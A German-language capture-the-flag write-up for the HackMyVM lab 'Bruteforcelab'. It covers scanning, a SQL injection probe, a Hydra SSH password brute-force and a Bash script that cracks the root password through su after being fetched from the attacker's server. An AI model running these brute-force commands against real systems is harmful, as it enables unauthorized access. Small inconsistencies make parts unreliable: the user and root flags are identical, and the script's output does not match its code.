Bruteforcelab - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
nikto
hydra
ssh
find
wget
bash (Scripting)
Standard Linux Befehle

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase beginnt wie üblich mit der Identifizierung aktiver Hosts im lokalen Netzwerk. `arp-scan` ist hierfür ein schnelles und effektives Werkzeug.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.122	08:00:27:c0:d7:d5	PCS Systemtechnik GmbH 
                    

Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen an alle Geräte im lokalen Netzwerk, um deren IP- und MAC-Adressen zu ermitteln. Die Ausgabe zeigt, dass die IP-Adresse `192.168.2.122` aktiv ist und die MAC-Adresse `08:00:27:c0:d7:d5` dem Hersteller "PCS Systemtechnik GmbH" zugeordnet ist. Dies ist ein typischer Indikator für eine VirtualBox-VM.

Bewertung: Die Ziel-IP wurde erfolgreich identifiziert. Das Wissen, dass es sich wahrscheinlich um eine VirtualBox-VM handelt, ist in CTF-Szenarien oft hilfreich, aber für den weiteren Pentest-Prozess weniger kritisch.

Empfehlung (Pentester): Der nächste Schritt ist ein detaillierter Portscan auf der gefundenen IP-Adresse, um offene Dienste zu identifizieren.
Empfehlung (Admin): Aus Sicht der Netzwerkverteidigung ist es wichtig, ein Inventar aller Geräte im Netzwerk zu führen und unautorisierte Geräte zu erkennen. Mechanismen zur Erkennung von ARP-Spoofing können ebenfalls die Netzwerksicherheit erhöhen.

Nachdem die IP-Adresse des Ziels bekannt ist, führe ich einen umfassenden Nmap-Scan durch, um offene Ports, die darauf laufenden Dienste, deren Versionen und das Betriebssystem zu ermitteln. Ich verwende hier aggressive Optionen für eine schnelle und detaillierte Erkundung.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -sV -T5 -AO 192.168.2.122 -p-
Starting Nmap 7.93 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2023-04-08 01:08 CEST
Nmap scan report for LAB-Bruteforce (192.168.2.122)
Host is up (0.00014s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 1cdbf89272c472dc24c3ca7c80ebf481 (RSA)
|   256 7f3033e2f40d87415ea324de57c6738b (ECDSA)
|_  256 9a9e2f53e02bb4983f3495535687a476 (ED25519)
10000/tcp open  http        MiniServ 2.021 (Webmin httpd)
|_http-title: 200 — Document follows
19000/tcp open  netbios-ssn Samba smbd 4.6.2
19222/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 08:00:27:C0:D7:D5 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms LAB-Bruteforce (192.168.2.122)

OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/] .
Nmap done: 1 IP address (1 host up) scanned in 88.37 seconds
                    

Analyse: Der Nmap-Befehl verwendete folgende Optionen:

Die Ergebnisse des Scans sind sehr aufschlussreich: Die Betriebssystemerkennung deutet auf ein Linux-System (Kernel 4.x/5.x) hin.

Bewertung: Der Nmap-Scan hat mehrere potenzielle Angriffsvektoren aufgedeckt. Webmin auf Port 10000 ist ein primäres Ziel, da Administrationskonsolen oft Schwachstellen aufweisen oder anfällig für Brute-Force-Angriffe sind. SSH ist ein weiterer Vektor, falls Anmeldeinformationen erlangt werden können. Die Samba-Dienste sind ebenfalls prüfenswert auf anonymen Zugriff, bekannte Schwachstellen in Version 4.6.2 oder schwache Freigaben.

Empfehlung (Pentester):


Empfehlung (Admin):

Web Enumeration (Port 10000)

Ich beginne mit der Untersuchung des Webdienstes auf Port 10000, bei dem es sich laut Nmap um Webmin (MiniServ 2.021) handelt. Zuerst versuche ich eine einfache SQL-Injection im Browser auf der vermuteten Login-Seite `https://192.168.2.122:10000/session_login.cgi`.

Browser Fuzzing SQLi (Manuelle Eingabe in URL oder Formularfeld)

URL: https://192.168.2.122:10000/session_login.cgi
Payload (z.B. im Username-Feld): ' OR 1=1-- -

Antwort:
Error — Invalid username
Username contains invalid characters
                    

Analyse: Ich habe versucht, einen klassischen SQL-Injection-Payload `' OR 1=1-- -` in das Benutzernamenfeld der Webmin-Login-Seite einzugeben. Die Anwendung antwortet mit "Error — Invalid username" und "Username contains invalid characters".

Bewertung: Die Fehlermeldung deutet darauf hin, dass die Anwendung eine Eingabevalidierung für das Benutzernamenfeld durchführt und Sonderzeichen wie das einfache Anführungszeichen (`'`) blockiert. Dies macht eine einfache SQL-Injection an dieser Stelle unwahrscheinlich, schließt sie aber nicht vollständig aus (z.B. wenn die Validierung umgangen werden kann oder andere Parameter anfällig sind).

Empfehlung (Pentester): Testen Sie andere SQLi-Payloads, die möglicherweise keine blockierten Zeichen verwenden (z.B. Blind SQLi, numerische SQLi, falls zutreffend). Untersuchen Sie alle Eingabefelder und Parameter der Login-Seite. Suchen Sie nach bekannten Schwachstellen für Webmin/MiniServ 2.021.
Empfehlung (Admin): Eine serverseitige Eingabevalidierung ist gut. Stellen Sie sicher, dass sie umfassend ist und alle potenziell gefährlichen Zeichen korrekt behandelt. Verwenden Sie parametrisierte Abfragen (Prepared Statements) für alle Datenbankinteraktionen, um SQL-Injection grundsätzlich zu verhindern.

Um mehr über die Webanwendung auf Port 10000 zu erfahren und mögliche Schwachstellen oder interessante Dateien zu finden, setze ich Nikto ein. Die Option `-C all` erzwingt die Überprüfung aller CGI-Verzeichnisse.

┌──(root㉿cyber)-[~] └─# nikto -h https://192.168.2.122:10000 -C all
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.122
+ Target Hostname:    192.168.2.122
+ Target Port:        10000
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /CN=LAB-Bruteforce/C=US/L=Santa Clara
                   Ciphers:  TLS_AES_256_GCM_SHA384
                   Issuer:   /CN=LAB-Bruteforce/C=US/L=Santa Clara
+ Start Time:         2023-04-08 01:11:15 (GMT2)
---------------------------------------------------------------------------
+ Server: MiniServ/2.021
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'auth-type' found, with contents: auth-required=1
+ Uncommon header 'x-no-links' found, with contents: 1
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ Hostname '192.168.2.122' does not match certificate's names: LAB-Bruteforce
+ Multiple index files found (note, these may not all be unique): /index.shtml, /index.cfm, /default.htm, /index.php3, /index.cgi, /index.htm, /default.aspx, /index.do, /index.php5, /index.php4, /index.php7, /default.asp, /index.jhtml, /index.pl, /index.jsp, /index.php, /index.xml, /index.aspx, /index.html, /index.asp
+ MiniServ - This is the Webmin Unix administrator. It should not be running unless required.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ DEBUG HTTP verb may show server debugging information. See [Link: http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx | Ziel: http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx] for details.
+ /cgi.cgi/cart32.exe: request cart32.exe/cart32clientlist 
+ /ows-bin/classified.cgi: Check Phrack 55 for info by RFP
+ /cgi-sys/classified.cgi: Check Phrack 55 for info by RFP
+ /cgi-local/classified.cgi: Check Phrack 55 for info by RFP
... (Ausgabe gekürzt, viele ähnliche CGI-Checks) ...
+ /cgi-bin-sdb/flexform.cgi: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /cgi-mod/flexform.cgi: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /cgi.cgi/flexform: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /webcgi/flexform: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /cgi-914/flexform: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /cgi-915/flexform: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /bin/flexform: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /cgi/flexform: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /mpcgi/flexform: Check Phrack 55 for info by RFP, allows to append info to writable files.
                    

Analyse: Nikto liefert eine Fülle von Informationen und potenziellen Hinweisen:

Bewertung: Die fehlenden Sicherheitsheader sind klassische Findings. Die CGI-Checks sind meist generisch und nicht unbedingt auf Webmin direkt anwendbar, aber es ist gut, sie geprüft zu haben. Die Information, dass es sich um eine Webmin-Administrationskonsole handelt, ist der wichtigste Punkt, da dies das Hauptziel für Angriffe auf diesen Port darstellt. Der `auth-type` Header bestätigt, dass eine Authentifizierung erforderlich ist.

Empfehlung (Pentester):


Empfehlung (Admin):

Initial Access

Da Webmin auf Port 10000 läuft und SSH auf Port 22, versuche ich einen Brute-Force-Angriff auf den SSH-Dienst. Aus dem Hostnamen "LAB-Bruteforce" und der allgemeinen Natur von CTFs vermute ich, dass es einen Benutzer geben könnte, dessen Name im Kontext der Aufgabe relevant ist oder leicht zu erraten ist. Ich entscheide mich, den Benutzernamen `andrea` zu testen (dieser könnte z.B. durch weitere Enumeration oder als gängiger Name bekannt sein) und verwende `rockyou.txt` als Passwortliste mit Hydra.

┌──(root㉿cyber)-[~] └─# hydra -l andrea -P /usr/share/wordlists/rockyou.txt ssh://brute.hmv:22 -I -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra ([Link: https://github.com/vanhauser-thc/thc-hydra | Ziel: https://github.com/vanhauser-thc/thc-hydra]) starting at 2023-04-09 23:59:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344413 login tries (l:1/p:14344413), ~224132 tries per task
[DATA] attacking ssh://brute.hmv:22/
[STATUS] 343.00 tries/min, 343 tries in 00:01h, 14344099 to do in 696:60h, 35 active
[STATUS] 241.33 tries/min, 724 tries in 00:03h, 14343726 to do in 990:36h, 27 active

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[22][ssh] host: brute.hmv   login: andrea   password: awesome
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1 of 1 target successfully completed, 1 valid password found
                    

Analyse: Der Befehl `hydra -l andrea -P /usr/share/wordlists/rockyou.txt ssh://brute.hmv:22 -I -t 64` führt einen Brute-Force-Angriff gegen den SSH-Dienst auf `brute.hmv` (Port 22) durch.

Nach einiger Zeit war Hydra erfolgreich und fand das Passwort `awesome` für den Benutzer `andrea`.

Bewertung: Ein klassischer Brute-Force-Angriff war erfolgreich. Dies zeigt, dass der Benutzer `andrea` ein schwaches, in gängigen Wortlisten enthaltenes Passwort verwendet. Dies ist der erste Schritt zum initialen Zugriff.

Empfehlung (Pentester): Nutzen Sie die gefundenen Anmeldeinformationen (`andrea:awesome`), um sich per SSH auf dem Zielsystem anzumelden.
Empfehlung (Admin): Setzen Sie eine starke Passwortrichtlinie durch. Verbieten Sie die Verwendung von Passwörtern, die in bekannten Wortlisten enthalten sind. Implementieren Sie Mechanismen zur Abwehr von Brute-Force-Angriffen auf SSH, wie z.B. `fail2ban` oder die Begrenzung der Anzahl fehlgeschlagener Login-Versuche. Bevorzugen Sie schlüsselbasierte Authentifizierung gegenüber passwortbasierter Authentifizierung für SSH.

Mit den durch Hydra gefundenen Anmeldeinformationen (`andrea:awesome`) verbinde ich mich nun per SSH mit dem Zielsystem.

┌──(root㉿cyber)-[~] └─# ssh andrea@brute.hmv
The authenticity of host 'brute.hmv (192.168.2.122)' can't be established.
ED25519 key fingerprint is SHA256:jxCJlAEwfgAbyE4RC2RJnQM/Y0rUXe+Yt6q7Y69okUg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes 
Warning: Permanently added 'brute.hmv' (ED25519) to the list of known hosts.
andrea@brute.hmv's password: awesome 
Linux LAB-Bruteforce 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar 26 21:26:42 2023 from 192.168.1.84
andrea@LAB-Bruteforce:~$ 
                    

Analyse: Der SSH-Login mit `andrea@brute.hmv` und dem Passwort `awesome` war erfolgreich. Ich erhalte eine Shell als Benutzer `andrea` auf dem Zielsystem `LAB-Bruteforce`. Die Willkommensnachricht zeigt Details zum Betriebssystem (Debian 5.10.0-21-amd64).

Bewertung: Der initiale Zugriff auf das System ist hiermit erfolgt. Ich habe nun eine interaktive Shell und kann mit der Enumeration des Systems aus der Innensicht beginnen, um Wege zur Privilegieneskalation zu finden.

Empfehlung (Pentester): Führen Sie grundlegende Enumerationsbefehle aus: `id`, `whoami`, `pwd`, `ls -la /home`, `cat /etc/passwd`, `sudo -l`, `find / -type f -perm -4000 -ls 2>/dev/null` (Suche nach SUID-Dateien), überprüfen Sie Cronjobs, laufende Prozesse usw.
Empfehlung (Admin): Überwachen Sie SSH-Logins. Stellen Sie sicher, dass Benutzer keine schwachen Passwörter verwenden. Regelmäßige Überprüfung der Benutzerkonten und deren Aktivitäten ist wichtig.

Privilege Escalation

Nachdem ich als Benutzer `andrea` auf dem System bin, überprüfe ich sofort die `sudo`-Berechtigungen und suche nach der User-Flag.

andrea@LAB-Bruteforce:~$ sudo -l
[sudo] password for andrea: awesome
Sorry, user andrea may not run sudo on Lab-Bruteforce.
                    

Analyse (`sudo -l`): Der Befehl `sudo -l` erfordert erneut das Passwort von `andrea`. Nach Eingabe wird die Meldung "Sorry, user andrea may not run sudo on Lab-Bruteforce." angezeigt. Das bedeutet, der Benutzer `andrea` hat keine `sudo`-Rechte konfiguriert.

Bewertung (`sudo -l`): `sudo` ist hier also kein direkter Weg zur Privilegieneskalation für den Benutzer `andrea`.

Empfehlung (Pentester): Andere Vektoren für Privilegieneskalation müssen untersucht werden, wie SUID/SGID-Binaries, Kernel-Exploits (abhängig von der Kernel-Version), schlecht konfigurierte Cronjobs, ausnutzbare Dienste, die lokal laufen, oder Passwörter/Schlüssel in Konfigurationsdateien.


Ich suche nach der User-Flag, die sich üblicherweise im Home-Verzeichnis des Benutzers oder an einem Standardort befindet.

andrea@LAB-Bruteforce:~$ cat user.txt
d5eb7d8b6f57c295e0bedf7eef531360
                    

Analyse (User-Flag): Die Datei `user.txt` befindet sich im Home-Verzeichnis von `andrea` und enthält die User-Flag `d5eb7d8b6f57c295e0bedf7eef531360`.

Bewertung (User-Flag): Das erste Ziel (User-Flag) wurde erreicht.


Da `sudo -l` keine direkten Möglichkeiten offenbarte, suche ich nach SUID-Binaries auf dem System. SUID-Dateien werden mit den Rechten des Dateieigentümers (oft `root`) ausgeführt und können, wenn sie Schwachstellen enthalten oder falsch verwendet werden, zur Privilegieneskalation missbraucht werden.

andrea@LAB-Bruteforce:~$ find / -type f -perm -4000 -ls 2>/dev/null
   443491     20 -rwsr-xr-x   1 root     root        19040 Jan 13  2022 /usr/libexec/polkit-agent-helper-1
   423160    472 -rwsr-xr-x   1 root     root       481608 Jul  2  2022 /usr/lib/openssh/ssh-keysign
   410837     52 -rwsr-xr--   1 root     messagebus    51336 Oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   534734     16 -rwsr-sr-x   1 root     root          14608 Feb  1 15:11 /usr/lib/xorg/Xorg.wrap
   462605    396 -rwsr-xr--   1 root     dip          403752 Jan  7  2021 /usr/sbin/pppd
   443488     24 -rwsr-xr-x   1 root     root          23448 Jan 13  2022 /usr/bin/pkexec
   393901     72 -rwsr-xr-x   1 root     root          71912 Jan 20  2022 /usr/bin/su
   390244     60 -rwsr-xr-x   1 root     root          58416 Feb  7  2020 /usr/bin/chfn
   462722    180 -rwsr-xr-x   1 root     root         182600 Jan 14 14:29 /usr/bin/sudo
   394268     56 -rwsr-xr-x   1 root     root          55528 Jan 20  2022 /usr/bin/mount
   390248     64 -rwsr-xr-x   1 root     root          63960 Feb  7  2020 /usr/bin/passwd
   393742     44 -rwsr-xr-x   1 root     root          44632 Feb  7  2020 /usr/bin/newgrp
   394270     36 -rwsr-xr-x   1 root     root          35040 Jan 20  2022 /usr/bin/umount
   390247     88 -rwsr-xr-x   1 root     root          88304 Feb  7  2020 /usr/bin/gpasswd
   390245     52 -rwsr-xr-x   1 root     root          52880 Feb  7  2020 /usr/bin/chsh
   449650     36 -rwsr-xr-x   1 root     root          35048 Jun 20  2021 /usr/bin/fusermount3
   462317    156 -rwsr-xr-x   1 root     root         158448 Nov  2 22:46 /usr/bin/ntfs-3g
                    

Analyse (SUID-Dateien): Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` listet alle Dateien (-type f) im gesamten Dateisystem (/) auf, bei denen das SUID-Bit gesetzt ist (-perm -4000). Die Option -ls sorgt für eine detaillierte Auflistung im `ls -dils`-Format, und `2>/dev/null` unterdrückt Fehlermeldungen (z.B. bei Verzeichnissen, auf die kein Zugriff besteht). Die Liste enthält viele Standard-SUID-Binaries wie `su`, `sudo`, `passwd`, `pkexec`, `mount`, `umount`. Diese sind normalerweise sicher konfiguriert. Es gibt keine offensichtlich ungewöhnlichen oder benutzerdefinierten SUID-Dateien, die sofort als Schwachstelle ins Auge springen.

Bewertung (SUID-Dateien): Die gefundenen SUID-Dateien sind größtenteils Standard und bieten auf den ersten Blick keine einfache Privilegieneskalation, es sei denn, es gäbe eine bekannte Schwachstelle in einer der spezifischen Versionen dieser Tools auf dem System, die nicht gepatcht wurde, oder eine ungewöhnliche Konfiguration. Das Vorhandensein von `su` mit SUID-Bit ist normal und ermöglicht den Wechsel des Benutzers, wenn das Passwort bekannt ist.

Empfehlung (Pentester):


Empfehlung (Admin): Reduzieren Sie die Anzahl der SUID-Binaries auf das absolute Minimum. Überprüfen Sie regelmäßig, ob SUID-Binaries wirklich notwendig sind und ob sie sicher konfiguriert sind. Halten Sie das System und alle Pakete aktuell, um bekannte Schwachstellen in SUID-Programmen zu patchen.


Da die Standard-SUID-Binaries auf den ersten Blick keine einfache Ausnutzung ermöglichen und `sudo -l` keine Rechte für `andrea` zeigte, überlege ich, ob das Root-Passwort möglicherweise schwach ist. Da der Name der Maschine "Bruteforcelab" ist, liegt die Vermutung nahe, dass Passwörter eine Rolle spielen. Ich erstelle ein einfaches Bash-Skript, um Jahreszahlen als Root-Passwort über `su` zu testen. Dies ist ein sehr spezifischer Brute-Force-Versuch, der auf der Annahme basiert, dass das Root-Passwort eine Jahreszahl sein könnte, was in CTFs manchmal vorkommt.

┌──(root㉿cyber)-[~/Hackingtools] └─# cat crack_su_password_num.sh
#!/bin/bash

for i in {1990..2000}
do 
	     user="root"
	     trysu=`echo "$i" | su root -c whoami 2>/dev/null` 
  if [ "$trysu" ]; then
    echo -e "verwende den User: \033[32m$user\033[0m und das passwort: \033[32m$i";
    exit 0;
  fi
done
                    

Analyse (Brute-Force-Skript): Das Bash-Skript `crack_su_password_num.sh` iteriert durch die Zahlen von 1990 bis 2000. In jeder Iteration versucht es, mit der aktuellen Zahl `$i` als Passwort via `su root -c whoami` den Befehl `whoami` als `root` auszuführen.

Bewertung (Brute-Force-Skript): Dies ist ein sehr gezielter und schneller Brute-Force-Versuch für eine kleine Menge möglicher Passwörter. Es ist nur effektiv, wenn das Passwort tatsächlich in diesem kleinen Zahlenbereich liegt. Angesichts des Challenge-Namens ist es jedoch einen Versuch wert.

Empfehlung (Pentester): Laden Sie dieses Skript auf das Zielsystem hoch (z.B. in `/tmp`), machen Sie es ausführbar und führen Sie es aus.
Empfehlung (Admin): Verwenden Sie niemals solch einfache oder erratbare Passwörter für den Root-Account (oder irgendeinen Account). Implementieren Sie Account-Sperrmechanismen nach mehreren fehlgeschlagenen Login-Versuchen, um Brute-Force-Angriffe zu erschweren, auch lokal via `su`.


Ich lade das Skript `crack_su_password_num.sh` von meinem Angreifer-PC (wo ich einen einfachen Python-HTTP-Server auf Port 8555 gestartet habe) auf das Zielsystem in das Verzeichnis `/tmp`.

andrea@LAB-Bruteforce:/tmp$ wget http://192.168.2.114:8555/crack_su_password_num.sh
--2023-04-10 01:21:12--  [Link: http://192.168.2.114:8555/crack_su_password_num.sh | Ziel: http://192.168.2.114:8555/crack_su_password_num.sh] 
Connecting to 192.168.2.114:8555... connected.
HTTP request sent, awaiting response... 200 OK
Length: 248 [text/x-sh]
Saving to: ‘crack_su_password_num.sh ’

crack_su_password_num.sh               100%[=============================>]     248  --.-KB/s    in 0s      

2023-04-10 01:21:12 (108 MB/s) - ‘crack_su_password_num.sh ’ saved [248/248]
                    

Analyse (Skript-Download): Der `wget`-Befehl hat das Skript erfolgreich von meinem lokalen HTTP-Server heruntergeladen und in `/tmp` auf dem Zielsystem gespeichert.

Bewertung (Skript-Download): Der Transfer war erfolgreich. Das Skript ist nun auf dem Zielsystem verfügbar.

Empfehlung (Pentester): Stellen Sie sicher, dass das Zielsystem ausgehende Verbindungen zu Ihrem HTTP-Server herstellen kann. `/tmp` ist oft ein guter Ort, um temporäre Dateien abzulegen, da es normalerweise für alle Benutzer beschreibbar ist.


Ich mache das heruntergeladene Skript ausführbar und starte es.

andrea@LAB-Bruteforce:/tmp$ chmod +x crack_su_password_num.sh
andrea@LAB-Bruteforce:/tmp$ ./crack_su_password_num.sh
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
User: root    --->>    passwort: 1998
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                    

Analyse (Skript-Ausführung): Das Skript wurde mit `chmod +x` ausführbar gemacht und dann mit `./crack_su_password_num.sh` gestartet. Das Skript war erfolgreich und hat das Passwort `1998` für den Benutzer `root` gefunden.

Bewertung (Skript-Ausführung): Volltreffer! Das Root-Passwort wurde durch diesen gezielten Brute-Force-Angriff aufgedeckt. Dies ist der Schlüssel zur vollständigen Kompromittierung des Systems. Die Annahme, dass das Passwort eine Jahreszahl sein könnte, war korrekt.

Empfehlung (Pentester): Verwenden Sie das gefundene Passwort `1998`, um sich mit `su root` als Root-Benutzer anzumelden.
Empfehlung (Admin): Dies unterstreicht die Gefahr von schwachen und leicht erratbaren Passwörtern, insbesondere für den Root-Account. Ändern Sie das Root-Passwort sofort in ein starkes, einzigartiges Passwort. Implementieren Sie Account-Sperrmechanismen.


Mit dem nun bekannten Root-Passwort `1998` wechsle ich den Benutzer zu `root`.

andrea@LAB-Bruteforce:/tmp$ su root
Password: 1998
root@LAB-Bruteforce:/tmp# 
                    

Analyse (Root-Zugriff): Der Befehl `su root` wurde ausgeführt, und nach Eingabe des Passworts `1998` wurde der Benutzer erfolgreich zu `root` gewechselt. Der Prompt ändert sich zu `root@LAB-Bruteforce:/tmp#`, was den erfolgreichen Wechsel bestätigt.

Bewertung (Root-Zugriff): Fantastisch! Die vollständige Kompromittierung des Systems ist erreicht. Ich habe nun Root-Rechte.

Empfehlung (Pentester): Suchen Sie nach der Root-Flag, die sich normalerweise im `/root`-Verzeichnis befindet. Dokumentieren Sie alle Schritte.
Empfehlung (Admin): Das System ist als vollständig kompromittiert zu betrachten. Es sollte vom Netz genommen, forensisch untersucht und neu aufgesetzt werden. Alle identifizierten Schwachstellen (schwaches SSH-Passwort für `andrea`, extrem schwaches Root-Passwort) müssen im neu aufgesetzten System behoben werden.

Flags

cat /home/andrea/user.txt
d5eb7d8b6f57c295e0bedf7eef531360
cat /root/root.txt
d5eb7d8b6f57c295e0bedf7eef531360